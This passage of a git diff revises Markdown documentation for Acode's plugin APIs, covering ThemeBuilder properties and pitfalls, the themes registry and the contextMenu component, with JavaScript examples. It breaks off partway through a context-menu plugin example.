+| `activeIconColor` | `--active-icon-color` | `rgba(0, 0, 0, 0.2)` | Tint for icons on the active element |
+| `linkTextColor` | `--link-text-color` | `rgb(97, 94, 253)` | Clickable links |
+| `dangerColor` | `--danger-color` | `rgb(160, 51, 0)` | Destructive actions |
+| `errorTextColor` | `--error-text-color` | `rgb(255, 185, 92)` | Validation / error text |
+| `successTextColor` | `--success-text-color` | `rgb(22, 152, 44)` | Confirmation text |
 
 #### Typography
-- `fontFamily`: Font type and fallbacks
-- `fontSize`: Base font size
-- `fontWeight`: Text thickness
+There are **no** `fontFamily`, `fontSize` or `fontWeight` properties on `ThemeBuilder`. Typography is not themed here — it comes from [`fonts.setAppFont()`](./fonts.md), which writes `--app-font-family`, and from `fonts.setEditorFont()`.
 
 #### Specific Element Styles
-- `buttonBackgroundColor`: Button background
-- `buttonTextColor`: Button text color
-- `borderColor`: Element border color
-- `popupBackgroundColor`: Popup/modal background
-- `scrollbarColor`: Scrollbar color
+| Property | CSS custom property | Default | Description |
+| --- | --- | --- | --- |
+| `buttonBackgroundColor` | `--button-background-color` | `rgb(51, 153, 255)` | Button fill |
+| `buttonTextColor` | `--button-text-color` | `rgb(255, 255, 255)` | Button label |
+| `buttonActiveColor` | `--button-active-color` | `rgb(44, 142, 240)` | Pressed button fill |
+| `borderColor` | `--border-color` | `rgba(122, 122, 122, 0.2)` | Generic separators |
+| `boxShadowColor` | `--box-shadow-color` | `rgba(0, 0, 0, 0.2)` | Shadows |
+| `scrollbarColor` | `--scrollbar-color` | `rgba(0, 0, 0, 0.3)` | Scrollbar thumb |
+| `fileTabWidth` | `--file-tab-width` | `120px` | Fixed tab width — **a length, not a colour** |
+| `popupBackgroundColor` | `--popup-background-color` | `rgb(255, 255, 255)` | Popup / dialog surface |
+| `popupTextColor` | `--popup-text-color` | `rgb(37, 37, 37)` | Popup text |
+| `popupIconColor` | `--popup-icon-color` | `rgb(153, 153, 255)` | Popup icons |
+| `popupActiveColor` | `--popup-active-color` | `rgb(169, 0, 0)` | Highlighted popup row |
+| `popupBorderColor` | `--popup-border-color` | `rgba(0, 0, 0, 0)` | Popup outline |
+| `popupBorderRadius` | `--popup-border-radius` | `4px` | Popup corner radius — **a length** |
+
+### Non-CSS properties
+
+| Property | Type | Default | Description |
+| --- | --- | --- | --- |
+| `name` | `string` | `""` | Display name |
+| `type` | `"dark" \| "light"` | `"dark"` | Base mode |
+| `version` | `"free" \| "paid"` | `"free"` | Pro gate |
+| `id` (getter only) | `string` | — | `name.toLowerCase()` |
+| `autoDarkened` | `boolean` | `true` | When `true`, assigning `primaryColor` recomputes `darkenedPrimaryColor` |
+| `preferredEditorTheme` | `string \| null` | `null` | CodeMirror theme applied alongside this theme on first use |
+| `preferredTerminalTheme` | `string \| null` | `null` | Terminal palette applied alongside this theme on first use |
+| `preferredFont` | `string \| null` | `null` | Editor font name, must exist in [`fonts`](./fonts.md) |
+| `darkenedPrimaryColor` | `string` | *unset* | Not a declared accessor — see Gotchas |
+
+### API
+
+| Member | Signature | Returns |
+| --- | --- | --- |
+| `css` (getter) | `css` | `string` — a complete `:root { … }` rule |
+| `toJSON` | `toJSON(colorType?: "rgba" \| "hex" \| "none")` | `Object<string, string>` |
+| `toString` | `toString()` | `string` — `JSON.stringify(this.toJSON())` |
+| `darkenPrimaryColor` | `darkenPrimaryColor()` | `undefined` |
+| `matches` | `matches(id: string)` | `boolean` |
+| `fromCSS` (static) | `ThemeBuilder.fromCSS(name: string, css: string)` | `ThemeBuilder` — **always throws, see Gotchas** |
+| `fromJSON` (static) | `ThemeBuilder.fromJSON(theme: object)` | `ThemeBuilder` |
+
+### `css`
+
+Returns the whole theme as one CSS rule.
+
+```javascript
+const myTheme = new ThemeBuilder("MyDarkTheme", "dark");
+myTheme.primaryColor = "#333";
+myTheme.css;
+// ":root {--popup-border-radius: 4px;--active-color: rgb(51, 153, 255);...--primary-color: #333;...}"
+```
+
+Note the exact shape: `:root {` immediately followed by `--key: value;` pairs — no space after the `{`, none before the `:`, one space after it. Every pair, including the last, ends in `;`, and the rule closes with `}`.
+
+### `toJSON(colorType?)`
+
+Flattens the theme into a plain object.
+
+| Parameter | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `colorType` | `"rgba" \| "hex" \| "none"` | No | `"none"` | `"none"` returns the raw stored strings; `"hex"` runs every value through [`Color`](./color.md); `"rgba"` throws |
+
+Returns `name`, `type`, `version`, then every CSS variable as a **PascalCase** key (`--primary-color` → `PrimaryColor`):
+
+```javascript
+new ThemeBuilder("MyDarkTheme", "dark").toJSON();
+// {
+//   name: "MyDarkTheme", type: "dark", version: "free",
+//   PopupBorderRadius: "4px", ActiveColor: "rgb(51, 153, 255)",
+//   PrimaryColor: "rgb(153, 153, 255)", FileTabWidth: "120px", ...
+// }
+```
+
+### `matches(id)`
+
+| Parameter | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `id` | `string` | Yes | — | Compared case-insensitively against `this.id` |
+
+Returns `boolean`. It throws if `id` is not a string, because both sides go through `.toLowerCase()`.
+
+### `ThemeBuilder.fromJSON(theme)`
+
+Rebuilds a builder from a `toJSON()` snapshot — this is how the app restores the saved **Custom** theme.
+
+| Parameter | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `theme` | `object` | Yes | — | Must be an object with `name`, `type` and `version` |
+
+**Throws** with a specific `Error` for each validation failure:
+
+| Condition | Message |
+| --- | --- |
+| falsy | `Theme is required` |
+| not an object | `Theme must be an object` |
+| no `name` | `Theme name is required` |
+| no `type` | `Theme type is required` |
+| no `version` | `Theme version is required` |
+
+Only keys that exist as a descriptor on `ThemeBuilder.prototype` are copied, so unknown keys in the JSON are silently ignored.
+
+### `darkenPrimaryColor()`
+
+Recomputes and stores `darkenedPrimaryColor` from the current `primaryColor`:
+
+```javascript
+this.darkenedPrimaryColor = Color(this.primaryColor).darken(0.4).hex.toString();
+```
+
+Returns `undefined` — the result is on the instance, not the return value.
 
 ### More Styling Options
 
 #### Color Manipulation
 ```javascript
-// Generate a darker version of the primary color
-const darkenedPrimaryColor = myTheme.darkenPrimaryColor();
+// Generate a darker version of the primary color.
+// Returns undefined — read the value off the instance.
+myTheme.darkenPrimaryColor();
+console.log(myTheme.darkenedPrimaryColor); // "#…"
 ```
 
 #### Theme Types
@@ -88,6 +213,60 @@ myCustomTheme.buttonTextColor = "#FFFFFF";
 myCustomTheme.borderColor = "#333333";
 ```
 
+Only `primaryColor` and `secondaryColor` from the Color Configuration block have any effect, together with the whole Element-Specific Styles block. `textColor`, `backgroundColor`, `fontFamily`, `fontSize` and `fontWeight` are not ThemeBuilder properties. See the worked example below for the corrected version.
+
+### Worked example: build a theme and register it
+
+```javascript
+const ThemeBuilder = acode.require('themeBuilder');
+const themes = acode.require('themes');
+const settings = acode.require('settings');
+const Color = acode.require('Color');
+
+const theme = new ThemeBuilder('Modern Dark', 'dark');
+theme.primaryColor = '#2196F3';
+theme.primaryTextColor = '#FFFFFF';
+theme.secondaryColor = 'rgb(18, 20, 24)';
+theme.secondaryTextColor = 'rgb(236, 240, 245)';
+theme.activeColor = 'rgb(33, 150, 243)';
+theme.activeTextColor = '#FFFFFF';
+theme.linkTextColor = 'rgb(129, 199, 255)';
+theme.borderColor = 'rgba(255, 255, 255, 0.08)';
+theme.popupBackgroundColor = 'rgb(18, 20, 24)';
+theme.popupTextColor = 'rgb(236, 240, 245)';
+theme.popupIconColor = 'rgb(236, 240, 245)';
+theme.scrollbarColor = 'rgba(255, 255, 255, 0.2)';
+theme.dangerColor = 'rgb(220, 38, 38)';
+
+// Optional app-level hooks, all honoured on first apply
+theme.preferredEditorTheme = 'noctisLilac';
+theme.preferredTerminalTheme = 'dark';
+theme.preferredFont = 'Roboto Mono';
+
+// `primaryColor` already computed this for us, because autoDarkened defaults to true
+console.log(theme.darkenedPrimaryColor); // "#085B9D"
+
+// Register it, then read it back out of the registry
+themes.add(theme);
+const registered = themes.get('Modern Dark');
+console.log(registered === theme); // true — same live instance
+
+// Persist the choice and paint it (themes.apply is a no-op for plugins)
+settings.update({ appTheme: registered.id }, false);
+const $style = document.head.get('style#app-theme') ?? (<style id="app-theme"></style>);
+document.body.setAttribute('theme-type', registered.type);
+$style.textContent = registered.css;
+if (!$style.isConnected) document.head.append($style);
+
+// Snapshot it — this is the shape ThemeBuilder.fromJSON() accepts
+const saved = theme.toJSON(); // { name, type, version, PrimaryColor, ... }
+const restored = ThemeBuilder.fromJSON(saved);
+console.log(restored.css === theme.css); // true
+
+// Pick readable text automatically
+theme.primaryTextColor = Color(theme.primaryColor).isDark ? '#FFFFFF' : '#121212';
+```
+
 ### Best Practices
 - Choose a consistent color palette
 - Ensure sufficient contrast between text and background
@@ -96,55 +275,95 @@ myCustomTheme.borderColor = "#333333";
 
 ### Supported CSS Custom Properties
 
-The ThemeBuilder generates the following CSS custom properties:
-- `--primary-color`
-- `--secondary-color`
-- `--text-color`
-- `--background-color`
+The ThemeBuilder generates these 25 custom properties, all under `:root`:
+
+- `--popup-border-radius`
 - `--active-color`
-- `--button-background-color`
+- `--active-text-color`
+- `--active-icon-color`
 - `--border-color`
-- And many more...
+- `--box-shadow-color`
+- `--button-active-color`
+- `--button-background-color`
+- `--button-text-color`
+- `--error-text-color`
+- `--success-text-color`
+- `--primary-color`
+- `--primary-text-color`
+- `--secondary-color`
+- `--secondary-text-color`
+- `--link-text-color`
+- `--scrollbar-color`
+- `--popup-border-color`
+- `--popup-icon-color`
+- `--popup-background-color`
+- `--popup-text-color`
+- `--popup-active-color`
+- `--danger-color`
+- `--danger-text-color`
+- `--file-tab-width`
+
+::: info Two of those are not colours
+`--popup-border-radius` (`4px`) and `--file-tab-width` (`120px`) are lengths. There is no `--text-color` and no `--background-color`.
+:::
 
 ### Notes
 - Always import the ThemeBuilder from the `acode` library
 - Theme customization is flexible and supports both light and dark modes
 - You can override default styles for specific UI components
 - for theme management check the `themes`documentation
-=======
-**Theme Builder**
-
-**Introduction**
-
-To create a new theme for your application, you'll need to utilize the `ThemeBuilder` class provided by the `acode` library. This class offers a straightforward way to customize various aspects of your theme, from primary and secondary colors to font styles and more.
-
-**Basic Usage**
-
-1. **Import the `ThemeBuilder` class:**
-   ```javascript
-   const ThemeBuilder = acode.require('themeBuilder');
-   ```
-2. **Create a new theme instance:**
-   ```javascript
-   const myTheme = new ThemeBuilder("MyDarkTheme", "dark");
-   ```
-   * **Theme Name:** The first argument, `"MyDarkTheme"`, is the name of your theme. It should be a descriptive name that reflects the theme's style.
-   * **Theme Mode:** The second argument, `"dark"`, specifies the base mode of the theme (either "light" or "dark").
-
-3. **Customize theme properties:**
-   ```javascript
-   myTheme.primaryColor = "#333";
-   myTheme.secondaryColor = "#666";
-   // ... other theme property customizations
-   ```
-   You can customize various theme properties, such as:
-   * `primaryColor`
-   * `secondaryColor`
-   * `textColor`
-   * `backgroundColor`
-   * `fontFamily`
-   * `fontSize`
-   * `fontWeight`
-   * // ... and many more
 
+### Gotchas
+
+::: danger `ThemeBuilder.fromCSS()` always throws
+Two separate failure paths:
+
+```javascript
+static fromCSS(name, css) {
+  const themeBuilder = new ThemeBuilder(name);
+  const rules = css.match(/:root\s*{([^}]*)}/);
+  if (!rules) throw new Error("Invalid CSS string");          // (a)
+  const variables = rules[1].match(/--[\w-]+:\s*[^;]+/g);
+  if (!variables) throw new Error("Invalid CSS string");       // (b)
+  variables.forEach((variable) => {
+    const [key, value] = variable.split(":");
+    themeBuilder(ThemeBuilder.#toPascal(key.trim()), value.trim()); // (c) ← not callable
+  });
+  return themeBuilder;
+}
+```
+
+If the CSS has no `:root { … }` block you get `Error("Invalid CSS string")`. If it has one but no custom properties you get the same error. If it parses, line (c) calls the **instance** as a function, which throws `TypeError: themeBuilder is not a function`. There is no input for which `fromCSS()` returns a builder.
+:::
+
+::: danger `toJSON("rgba")` throws
+The `"rgba"` branch calls `Color(value).rgba.toString()`, but [`Color`](./color.md) has no `rgba` getter — it only defines `rgb`, `hex` and `hsl`. The call throws `TypeError: Cannot read properties of undefined (reading 'toString')`. Use the default `toJSON()` or `toJSON("hex")`.
+:::
+
+::: danger `toJSON("hex")` corrupts the non-colour values
+`--popup-border-radius: 4px` and `--file-tab-width: 120px` are not colours. Running them through `Color()` hands an unparseable string to the canvas, which keeps its previous fill style and yields a plausible-looking colour instead of the length. After `toJSON("hex")` those two keys hold garbage. The app itself only ever calls `toJSON("hex")` to feed `system.setUiTheme()`, so this never shows up in the UI.
+:::
+
+::: warning `darkenedPrimaryColor` is not a real accessor
+There is no `get darkenedPrimaryColor()` / `set darkenedPrimaryColor()` on the prototype. Assigning to it creates an ordinary own property that is **not** a CSS variable and is **not** part of `css` or `toJSON()`. That is deliberate: it is the value Acode hands to the native `system.setUiTheme()` to darken the status and navigation bars while a modal mask is up. Pre-installed themes set it by hand (for example `oled.darkenedPrimaryColor = "rgb(0, 0, 0)"`), and `darkenPrimaryColor()` recomputes it on demand.
+:::
+
+::: warning `autoDarkened` does not darken `--primary-color`
+Setting `theme.primaryColor = '#2196F3'` stores `#2196F3` in `--primary-color` verbatim. The only side effect is that `darkenedPrimaryColor` is recomputed as `Color('#2196F3').darken(0.4)`. The built-in themes turn `autoDarkened` off because they set `darkenedPrimaryColor` explicitly.
+:::
+
+::: warning `--danger-text-color` has no accessor
+It is present in the default variable map and therefore appears in `css` and `toJSON()` as `DangerTextColor`, but the class declares no getter/setter for it. Assigning `theme.dangerTextColor = …` silently creates an inert own property, and `fromJSON()` skips it because there is no descriptor on the prototype. It stays at its default, `rgb(255, 255, 255)`.
+:::
+
+::: warning `ThemeBuilder` is not a global
+`acode.require('themeBuilder')` is the only way in. Register the result with [`themes.add()`](./themes.md) — the module stores `instanceof ThemeBuilder` objects only.
+:::
+
+### See also
 
+- [Themes](./themes.md) — the registry that consumes `ThemeBuilder` instances.
+- [Fonts](./fonts.md) — what `preferredFont` resolves against.
+- [Color API](./color.md) — the helper behind `darkenPrimaryColor()` and `toJSON("hex")`.
+- [Editor Themes](../utilities/editor-themes.md) — the separate CodeMirror theme registry, for `preferredEditorTheme`.
+- [`acode.require()`](../global-apis/acode.md) — how modules are resolved.
diff --git a/docs/helpers/themes.md b/docs/helpers/themes.md
index 75930c7..1c55294 100644
--- a/docs/helpers/themes.md
+++ b/docs/helpers/themes.md
@@ -2,43 +2,231 @@
 
 Acode provides a flexible and intuitive module for managing themes, enabling developers to seamlessly add, retrieve, update, and list themes within their project.
 
+:::info Verified against Acode v1.13.5
+Every signature below is taken from `src/theme/list.js` and the plugin-facing wrapper in `src/lib/acode.js`.
+:::
+
 ## API Overview
 
 ```javascript
 const themes = acode.require('themes');
 ```
 
+::: warning `themes` is not a global
+It is only reachable through [`acode.require()`](../global-apis/acode.md).
+:::
+
+## App themes vs editor themes
+
+This module manages **app / UI themes**: a `:root { --custom-property: value; … }` block of CSS custom properties that restyles Acode's chrome, dialogs, popups and scrollbars.
+
+It is a **completely different registry** from the CodeMirror syntax themes you register with `acode.require('editorThemes')`.
+
+| | `acode.require('themes')` | `acode.require('editorThemes')` |
+| --- | --- | --- |
+| Styles | Acode's own UI (pages, dialogs, quick tools, native system bars) | The code editor's syntax colouring only |
+| Object you pass | A `ThemeBuilder` **instance** | A plain spec object `{ id, caption?, dark?, getExtension \| extensions }` |
+| Registry method | `add(builder)` | `register(spec)` |
+| Keys | `name.toLowerCase()` | The `id` you pass |
+| Apply | **Deprecated no-op** — see below | `editorThemes.apply(id)` |
+
+See [Editor Themes](../utilities/editor-themes.md) for the editor-side API. A theme plugin normally registers with **both**.
+
 ## Methods
 
+The module object handed to plugins has exactly five members.
+
+| Method | Signature | Returns |
+| --- | --- | --- |
+| `add` | `add(theme: ThemeBuilder)` | `undefined` |
+| `get` | `get(name: string)` | `ThemeBuilder \| undefined` |
+| `list` | `list()` | `Array<ThemeSummary>` |
+| `update` | `update(theme: ThemeBuilder)` | `undefined` |
+| `apply` | `apply(id: string, init?: boolean)` | `undefined` — **does nothing** |
+
 ### `add(theme: ThemeBuilder)`
 
 Adds a new theme to the theme collection.
 
 **Parameters:**
-- `theme` (required): An instance of ThemeBuilder defining the theme's properties
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `theme` | `ThemeBuilder` | Yes | — | An **instance** of [`ThemeBuilder`](./theme-builder.md). Anything else is silently ignored |
+
+Returns: `undefined`.
+
+There is no success/failure signal. The call bails out silently — again with `undefined` — when:
+
+1. `theme` is not `instanceof ThemeBuilder`. A plain object literal, however perfect, is dropped.
+2. A theme with that `id` is already registered. The registry key is `theme.id`, which is `theme.name.toLowerCase()`.
+
+Otherwise the theme is stored, and if its `id` matches the currently selected `settings.value.appTheme`, the app immediately applies it. That last step works even though `themes.apply` is a no-op for plugins, because `add()` calls the internal applier directly.
 
 **Example:**
 ```javascript
+const ThemeBuilder = acode.require('themeBuilder');
+const themes = acode.require('themes');
+
 const theme = new ThemeBuilder('Modern Dark', 'dark');
+theme.primaryColor = 'rgb(33, 150, 243)';
 themes.add(theme);
 ```
 
+::: warning Theme ids are the lower-cased name
+`new ThemeBuilder('Modern Dark')` registers under `modern dark`. `get('modern dark')` and `get('Modern Dark')` both work because `get()` lower-cases its argument, but two themes whose names differ only in case collide.
+:::
+
+::: warning `version` gates whether the theme is usable
+A theme with `version: 'paid'` is replaced by `default` on a build without Pro, and the selection is silently rewritten to `default`. `new ThemeBuilder(name, type)` defaults `version` to `'free'`, which is what you want for a plugin theme.
+:::
+
 ### `get(name: string)`
 
 Retrieves a specific theme by its name.
 
 **Parameters:**
-- `name` (required): The unique name of the theme to retrieve
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `name` | `string` | Yes | — | The theme name; lower-cased before the lookup |
 
-**Returns:** 
-- ThemeBuilder instance representing the requested theme
+**Returns:** the live `ThemeBuilder` instance, or `undefined` when no theme has that id.
+
+Because it returns the **registered instance**, mutating it mutates the theme in place:
 
-**Example:**
 ```javascript
 const theme = themes.get('Modern Dark');
+if (theme) {
+  theme.primaryColor = 'rgb(0, 122, 255)';
+  theme.activeColor = 'rgb(0, 122, 255)';
+}
+```
+
+### `list()`
+
+Returns a summary of every registered theme.
+
+**Returns:** `Array` of plain objects:
+
+| Field | Type | Description |
+| --- | --- | --- |
+| `id` | `string` | `name.toLowerCase()` |
+| `name` | `string` | The theme name, **title-cased** by `String.prototype.capitalize()` — `"modern dark"` comes back as `"Modern Dark"` |
+| `type` | `string` | `"light"` or `"dark"` |
+| `version` | `string` | `"free"` or `"paid"` |
+| `primaryColor` | `string` | The theme's `--primary-color` value |
+
+Note this is a **summary, not the theme**: the returned objects have no `css`, no `toJSON()` and no accessors. Use `get(theme.id)` when you need the builder.
+
+```javascript
+themes.list().forEach(({ id, name, type }) => {
+  console.log(`${id} — ${name} (${type})`);
+});
 ```
 
 ### `update(theme: ThemeBuilder)`
 
 Updates an existing theme in the theme collection.
 
+**Parameters:**
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `theme` | `ThemeBuilder` | Yes | — | A `ThemeBuilder` **instance**. Non-instances are ignored |
+
+**Returns:** `undefined`.
+
+Two distinct behaviours:
+
+- **Not registered yet** → it delegates to `add(theme)`, so an unknown id is created rather than updated.
+- **Already registered** → every key of `theme.toJSON()` is copied onto the existing builder, which means it goes through the accessors and updates the underlying CSS variables in place. `name`, `type` and `version` are copied as plain fields.
+
+Because `toJSON()` only returns the theme's own colour variables plus `name`/`type`/`version`, non-colour extras you attach to a builder (`preferredFont`, `darkenedPrimaryColor`, …) are **not** copied by `update()`.
+
+### `apply(id, init?)` <Badge type="warning" text="deprecated" />
+
+::: danger `apply` is a no-op
+The plugin-facing module replaces it with an empty arrow function:
+
+```javascript
+const themesModule = {
+  add: themes.add,
+  get: themes.get,
+  list: themes.list,
+  update: themes.update,
+  // Deprecated, not supported anymore
+  apply: () => {},
+};
+```
+
+Calling `themes.apply('modern dark')` returns `undefined` and changes nothing — no CSS, no settings, no repaint. Use [`Settings`](../editor-components/settings.md) to persist a selection and inject the CSS yourself.
+:::
+
+**Parameters:**
+| Name | Type | Required | Default | Description |
+| --- | --- | --- | --- | --- |
+| `id` | `string` | Yes | — | Ignored |
+| `init` | `boolean` | No | `undefined` | Ignored |
+
+## Complete example
+
+Register a theme, read it back, and make it live:
+
+```javascript
+const themes = acode.require('themes');
+const ThemeBuilder = acode.require('themeBuilder');
+const settings = acode.require('settings');
+
+const theme = new ThemeBuilder('Acme', 'dark');
+theme.primaryColor = 'rgb(33, 150, 243)';
+theme.secondaryColor = 'rgb(24, 28, 34)';
+theme.popupBackgroundColor = 'rgb(18, 20, 24)';
+theme.popupTextColor = 'rgb(236, 240, 245)';
+// Assigning primaryColor already computed this, because autoDarkened defaults to true
+theme.darkenedPrimaryColor = 'rgb(8, 91, 157)';
+
+// 1. Register it. Silently ignored if the id already exists.
+themes.add(theme);
+
+// 2. Confirm it is in the registry.
+console.log(themes.list().map((t) => t.id)); // [..., 'acme']
+const registered = themes.get('Acme');      // the very same instance you added
+console.log(registered === theme); // true
+
+// 3. Persist the selection so it survives a restart.
+settings.update({ appTheme: registered.id }, false);
+
+// 4. themes.apply() is a no-op, so do what the app's internal applier does.
+const $style = document.head.get('style#app-theme') ?? (<style id="app-theme"></style>);
+document.body.setAttribute('theme-type', registered.type);
+$style.textContent = registered.css;
+if (!$style.isConnected) document.head.append($style);
+```
+
+## Gotchas
+
+::: warning `settings.update({ appTheme })` does **not** repaint
+The only `update:appTheme` listener is the system colour-scheme watcher. Writing `appTheme` persists the choice; it does not regenerate the `<style id="app-theme">` element. Inject `theme.css` yourself, as in step 4 above.
+:::
+
+::: warning `add()` returns `undefined` even when it does nothing
+There is no way to tell "registered" from "rejected because the id was taken" from the return value. Check with `themes.get(id) === undefined` first if that matters.
+:::
+
+::: warning Mutating a builder does not repaint either
+`themes.get(id).primaryColor = '…'` changes the value object, but the live `<style id="app-theme">` was written once at apply time. Re-inject `theme.css` after any mutation.
+:::
+
+::: warning `list()` title-cases the name but `id` stays lower-case
+Matching a `list()` result against `settings.value.appTheme` must be done on `id`, since `appTheme` may hold either casing and `name` is rewritten by `capitalize()`.
+:::
+
+::: info Internal members are not exposed
+The internal registry also exports `init()`, `applied` and `updateSystemThemeWatcher()`, but the plugin-facing module omits all three. You cannot force a re-apply or re-run the system-theme sync from a plugin.
+:::
+
+## See also
+
+- [Theme Builder](./theme-builder.md) — the object `add`/`get`/`update` require.
+- [Editor Themes](../utilities/editor-themes.md) — the separate CodeMirror theme registry.
+- [Fonts](./fonts.md) — `preferredFont` and `fonts.setEditorFont()`.
+- [Color API](./color.md) — how `ThemeBuilder` derives its darkened primary colour.
+- [`acode.require()`](../global-apis/acode.md) — how modules are resolved.
diff --git a/docs/interface-apis/context-menu.md b/docs/interface-apis/context-menu.md
index e3b6a30..93a77ea 100644
--- a/docs/interface-apis/context-menu.md
+++ b/docs/interface-apis/context-menu.md
@@ -7,9 +7,15 @@ The Context Menu API allows you to create and manage custom context menus in you
 To use the Context Menu API in your Acode plugin, first require it:
 
 ```js
-acode.require('contextmenu')
+const contextMenu = acode.require('contextMenu');
 ```
 
+:::info
+The module is registered as `contextMenu` (`this.define("contextMenu", Contextmenu)`). `acode.require` lower-cases the name, so `acode.require('contextmenu')` works too, but `contextMenu` matches the documented casing.
+
+`contextMenu` is **not** a global — the bare `contextmenu(...)` seen in older examples is not available. Always keep the value returned by `require`.
+:::
+
 ## API Reference
 
 ### Creating a Context Menu
@@ -17,51 +23,93 @@ acode.require('contextmenu')
 The main function to create a context menu:
 
 ```js
-contextmenu(content, options)
+contextMenu(content, options)
 ```
 
 **Parameters:**
 
-- `content`: String - The HTML content to show in the menu
-- `options`: Object - Configuration options (optional)
+| Name | Type | Required | Default | Description |
+|------|------|----------|---------|-------------|
+| `content` | `string` | No | `null` | The HTML content to show in the menu. Inserted as the menu's `innerHTML` at creation time. Omit it (or pass an object) to build the menu only from `options`. |
+| `options` | `ContextMenuOptions` | No | `{}` | Configuration options. |
 
 You can also create a menu with just options:
 
 ```js
-contextmenu(options)
+contextMenu(options)
 ```
 
+When the first argument is an object and the second is omitted, that object is used as `options` and `content` becomes `null`.
+
+**Returns:** the menu element itself — a `<ul class="context-menu scroll">`, with `show`, `hide`, `destroy`, `onshow` and `onhide` attached. You can attach your own listeners to it, override its methods, and read its position.
+
 ### Context Menu Options
 
-The options object accepts these properties:
-
-- `left`: Number - Left position in pixels
-- `top`: Number - Top position in pixels
-- `bottom`: Number - Bottom position in pixels
-- `right`: Number - Right position in pixels
-- `transformOrigin`: String - CSS transform-origin property
-- `toggler`: HTMLElement - Element that toggles the menu
-- `onshow`: Function - Called when menu is shown
-- `onhide`: Function - Called when menu is hidden
-- `items`: Array - Menu items as [text, action] pairs
-- `onclick`: Function - Called when an item is clicked
-- `onselect`: Function - Called when an item is selected
-- `innerHTML`: Function - Returns HTML string for menu content
+| Name | Type | Required | Default | Description |
+|------|------|----------|---------|-------------|
+| `left` | `number` | No | `"auto"` | Left position in pixels. |
+| `top` | `number` | No | `"auto"` | Top position in pixels. |
+| `bottom` | `number` | No | `"auto"` | Bottom position in pixels. |
+| `right` | `number` | No | `"auto"` | Right position in pixels. |
+| `transformOrigin` | `string` | No | – | CSS `transform-origin` property. Use it to grow the menu away from the edge it is anchored to. |
+| `toggler` | `HTMLElement` | No | – | Element that toggles the menu on `click`, and the anchor used for positioning. On `Escape` focus returns to it. |
+| `onshow` | `() => void` | No | no-op | Called when the menu is shown. |
+| `onhide` | `() => void` | No | no-op | Called when the menu is hidden. |
+| `items` | `Array<[string, string]>` | No | – | Menu items as `[text, action]` pairs. Each pair becomes `<li data-action="{action}">{text}</li>`. |
+| `onclick` | `(event: MouseEvent) => void` | No | – | Called for every click inside the menu, with `this` bound to the menu element. Runs **before** `onselect`. |
+| `onselect` | `(action: string) => void` | No | – | Called when an item with a `data-action` is clicked, with `this` bound to the menu element. |
+| `innerHTML` | `(this: HTMLElement) => string` | No | – | Returns an HTML string for the menu content. Called on **every** `show()` and replaces all children. |
+
+:::info
+`onselect` receives the **second** element of the `[text, action]` pair — i.e. the `data-action` value — not an index and not `text`. `hide()` runs before `onselect`, so the menu is already fading out (and is removed from the DOM 100 ms later) when your handler runs.
+:::
 
 ### Menu Methods
 
 The returned menu object has these methods:
 
-- `show()` - Display the menu
-- `hide()` - Hide the menu
-- `destroy()` - Remove the menu completely
+| Method | Type | Description |
+|--------|------|-------------|
+| `show()` | `() => void` | Display the menu. Pushes a `main-menu` entry onto the [Action Stack](../advanced-apis/action-stack.md), invokes `onshow()`, resolves `innerHTML`, appends the menu and its mask to `app`, and focuses the first child element when it is focusable. |
+| `hide()` | `() => void` | Hide the menu. Removes the `main-menu` Action Stack entry, invokes `onhide()`, adds the `hide` class, and removes the mask and menu from the DOM after 100 ms. |
+| `destroy()` | `() => void` | Remove the menu completely: drops the `keydown` listener, removes the menu and mask from the DOM, and detaches the `toggler` `click` listener. |
+
+`menu.onshow` and `menu.onhide` are plain properties holding your `onshow` / `onhide` callbacks (or no-ops), and they are what `show()` / `hide()` invoke. Because they are writable, you can reassign or wrap them after creation — which is exactly what Acode's own tab context menu does to detach a document-level ghost-click suppressor.
+
+### Keyboard support
+
+The menu handles its own `keydown`:
+
+| Key | Behaviour |
+|---|---|
+| `Enter`, `Space`, `Spacebar` | Activates the focused row by dispatching a synthetic `MouseEvent("click")` marked `keyboardActivated: true` |
+| `ArrowDown` / `ArrowUp` | Moves focus between actionable rows, wrapping at both ends |
+| `Home` / `End` | Jumps to the first / last actionable row |
+| `Escape`, `Esc` | Hides the menu and returns focus to `toggler` |
+
+Keys coming from nested interactive controls (checkboxes, inputs) are ignored, so those keep their native behaviour.
+
+### Disabled rows and separators <Badge type="tip" text="new" />
+
+There is **no** `disabled`, `separator`, `submenu`, `children` or `keepOpen` option. Rows are disabled by class instead, and the component honours these conventions:
+
+| Convention | Effect |
+|---|---|
+| `<li class="disabled">` | Not focusable, cannot be activated by keyboard, and `pointer-events: none` + 50 % opacity via CSS |
+| `<li class="separator">` | Same as disabled |
+| `<hr>` | Skipped by keyboard navigation, styled as a divider |
+| `menu.classList.add("disabled")` | Disables the whole menu |
+
+Because these are class names, you need the `innerHTML` option (or your own `menu.append(...)`) to use them together with `items`.
 
 ## Basic Example
 
 Here's a simple example of creating and using a context menu:
 
 ```js
-const menu = contextmenu('Menu Content', {
+const contextMenu = acode.require('contextMenu');
+
+const menu = contextMenu('Menu Content', {
 		top: 50,
 		left: 100,
 		items: [
@@ -79,3 +127,143 @@ menu.show();
 // Hide the menu
 menu.hide();
 ```
+
+## Complete Plugin Example <Badge type="tip" text="new" />
+
+```js
+acode.setPluginInit('com.example.menudemo', () => {
+	const contextMenu = acode.require('contextMenu');
+
+	// 1. Menu anchored to a toggler and driven by an items/onselect pair, so a
+	//    tap outside or the Back button dismisses it. Acode uses this exact
+	//    pattern for the plugin filter menu.
+	contextMenu({
+		toggler: document.getElementById('filter-button'),
+		top: '8px',
+		right: '16px',
+		items: [
+			['Top rated', 'orderBy:top_rated'],
+			['Newly added', 'orderBy:newest'],
+			['Most downloaded', 'orderBy:downloads'],
+		],
+		onselect(action) {
+			acode.require('toast')(`Filter: ${action}`);
+		},
+	});
+
+	// 2. Long-press / right-click menu built from raw HTML so it can use
+	//    icons, a separator and a disabled row. 'action' attributes are read
+	//    with getAttribute(), matching what the app does.
+	function openTabMenu(file) {
+		const menu = contextMenu({
+			left: file.tab.getBoundingClientRect().left,
+			top: file.tab.getBoundingClientRect().bottom + 4,
+			transformOrigin: 'top center',
+			innerHTML() {
+				return `
